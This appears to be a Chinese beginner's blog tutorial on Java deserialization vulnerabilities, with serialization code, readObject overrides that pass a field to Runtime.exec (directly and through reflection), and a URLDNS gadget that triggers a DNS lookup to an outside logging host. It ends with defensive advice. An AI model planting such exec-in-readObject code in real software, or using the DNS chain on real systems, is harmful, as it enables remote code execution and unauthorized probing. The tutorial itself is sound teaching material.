JAVA——反序列化漏洞(基础)

自己的一篇笔记,适用于初学者,有问题,请务必提醒我,进行改进。干了,兄弟们,。

目录

一.JAVA序列化和反序列化的介绍

二.构造方法

三.用代码来理解序列化和反序列化

第一步:定义一个User类,序列化类

第二步:在我们的main这类(接口)进行序列化输出。

第三步:创建deruser类,进行反序列化输出。

四.漏洞条件:

五.入门漏洞点

DNSlog链:发起url请求的漏洞 (原生链,测试漏洞的)

正式开始操作。


一.JAVA序列化和反序列化的介绍

Java序列化是指把对象转换为字节序列(字符串)的过程,反序列化是指把字节序列(字符串)又转化为Java对象的过程。

这里跟我先前讲述的一篇的php反序列化原理基本一样。当然这里java序列化和反序列化使用的是构造函数(方法)进行触发的,Java中private这种关键词是强类型的,不行就是不行(当然可以靠反射调用,但还是挺难的),直接报错,像php里面全靠使用者的“自觉”。

介绍这些,差不多够了。

二.构造方法

如何理解构造方法

https://blog.csdn.net/qq_52880445/article/details/120708152

你可以看这篇文章,我个人认为这篇是写的比较好的。 

三.用代码来理解序列化和反序列化

第一步:定义一个User类,序列化类

//定义了一个类叫User,并且继承Serializable这个类,没有这个类,就无法序列化,java会报错 
public class User implements Serializable {
    public String name ="lisi"; //name属性,默认值lisi
    private int age = 18 ;//age属性,默认18
    //构造User成员方法,并且调用name,age属性
    public User(String name,int age) throws Exception {
        this.name = name;//name赋值的格式
        this.age = age;//age赋值的格式
    }
//重载:因为类里面已经有了toString这个方法,想要再用,就需要这个,进行重载
@Override
//重载构造了toString这个方法,类似重新写了这个方法。
public  String toString(){//返回值是String类型,字符串类型
    return "User{" +
            "username='" + name + '\'' +
            ", age=" + age +
            '}';
}

第二步:在我们的main这类(接口)进行序列化输出。

public class Main {
        public static void main(String[] args) throws Exception {
                User user1 = new User("yy",20);//调用我们的User类,赋值,对象user1
                System.out.println(user1.name);//输出对象user1的名字
                ObjectOutputStream output = new ObjectOutputStream(new FileOutputStream("cer.bin"));//将转换的流输入到二进制文件cer.bin中
                output.writeObject(user1);//输出
                output.close();//将此文件关闭
}
}
//执行一下

会得到一个二进制文件 

优化一下,就是为了好看,封装在一个函数里面,在调用 .

public class Main {
    public static void main(String[] args) throws Exception {
       User user1 = new User("yy",20);//调用我们的User类,赋值,对象user1
       System.out.println(user1.name);//输出对象user1的名字
       ser(user1);//调用,序列化
}

public static void ser(Object user) throws Exception {
    ObjectOutputStream output = new ObjectOutputStream(new     FileOutputStream("cer.bin"));
    output.writeObject(user);//序列化user
    output.close();
 }
}

第三步:创建deruser类,进行反序列化输出。

public class deruser implements Serializable {
    public static void deruser() throws Exception {
        //之前序列化输出了cer.bin二进制文件,通过ObjectInputStream,FileInputStream转换为对象,进行一个读取操作。
        ObjectInputStream deruser = new ObjectInputStream(new FileInputStream("cer.bin"));
        //由于上面已经转换为对象,声明一个类user2
        Object user2 = deruser.readObject();
        deruser.close();//关闭
        System.out.println(user2.toString());
    }
}

再在main中调用

public class Main { public static void main(String[] args) throws Exception {
       deruser.deruser();//调用反序列化
}

public static void ser(Object user) throws Exception {
    ObjectOutputStream output = new ObjectOutputStream(new     FileOutputStream("cer.bin"));
    output.writeObject(user);
    output.close();
}

在了解这个序列化过程中,如何实现反序列化漏洞呢?

如果开发人员在构造函数里面写了一个危险函数,比如Runtime.getRuntime().exec()命令执行函数方法。但单靠这个是无法自动执行。

所以在反序列代码中又readObject()类,你只要反序列化,就会执行这个类。

第一种

原生的readObject()是没有漏洞的,但是当进行重写的时候,开发人员,为了方便,给readObject()类进入其他功能,辅助开发人员使用。

这个只是用于理解,没有哪个程序员会在readObject()里面写Runtime.getRuntime().exec()

private void readObject(java.io.ObjectInputStream in) throws Exception {
    in.defaultReadObject();
    Runtime.getRuntime().exec(this.name);
}

第二种用反射机制

反射机制:是专门用来调用类和类中属性,私有/受保护类方法

比如说在反序列化中,user中,调用了readObject类,又在readObject类调用另外一个类,这个类中含有私有属性的危险方法。

由于私有属性的存在,你是调用不了的。第一种情况,是因为自己调用自己的情况。为了调用私有属性,就发明了反射机制。

通过下面这串代码实现反射,需要一定java基础。

private void readObject(java.io.ObjectInputStream in) throws Exception {
    in.defaultReadObject();
    //Runtime.getRuntime().exec(this.name);
    //反射机制;是专门用来调用类和类中属性,私有/受保护类方法
    //获取到Runtime这个类,以c命名。
    Class c = Class.forName("java.lang.Runtime");
    //通过getMethod获取getRuntime方法
    Method method = c.getMethod("getRuntime");
    //通过getMethod获取exec方法
    Method exec = c.getMethod("exec",String.class);
    Runtime r = (Runtime) method.invoke(null,null);
    exec.invoke(r,this.name);
}

先执行,生成二进制文件,也就是我们的payload, 在调用反序列化将此二进制文件进行转换。

总结特点:本类里面没有漏洞,但是在本个类里面又调用另外一个类,另外类里面有危险函数,私有属性,就必须用这个反射机制。

四.漏洞条件:

1.支持序列化

2.重写readObject

3.在重写readObject中调用了常见的类的函数方法

4.可以接受很多类型的参数(目标类的类型),可控。

比如说hashmap函数这个漏洞产生是调用hashmap方法,这个方法可以使我们能够执行漏洞执行代码——rce

五.入门漏洞点

本类里面的漏洞很少,一般都是类调用类中存在漏洞

DNSlog链:发起url请求的漏洞 (原生链,测试漏洞的)

首先:HashMap这个类里面有hash函数,传入一个类,并且调用这个传入类的hashcode方法,这就相当于一条路,但是后面又没有任何操作,导致这条路断掉了。所以又重新找哪个类里面有hashCode这方法。

然后:找找找,在jdk库里面,找到了URL这个类,URL这个类里面就有hashCode这个方法 ,并且还是public,又有路可以走了。

接着:URL中的hashCode,这里想要实现什么嘞,需要看URLStreamHandler.java这个类,里面有getHostAddress这个函数,这个的作用是进行DNS解析,那就可以进行DNS外带操作。

正式开始操作。

我们的思路就是通过hashmap类中的hash来调用URL中hashCode,用来dns外带

 这个函数是在便利键和值,那我们就传入键和值和我们的

HashMap<Object,String> map = new  HashMap<Object,String>();
URL url = new URL("http://5d47932ed7.ipv6.1433.eu.org");
map.put(url,"123");//将参数传入进去

整个过程

map.put将参数传入HashMap类里面,HashMap类进行遍历,调用hash函数,hash函数调用hashcode,传入的是URL类的,就会调用URL中hashcode(getHostAddress(url解析))

六.反序列化防御

1.避免不可信数据反序列化,实在需要,也要做好过滤规则。

2.制作白名单,只允许特定的类进行反序列化。

3.更新和补丁。

4.使用更安全的序列化机制

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值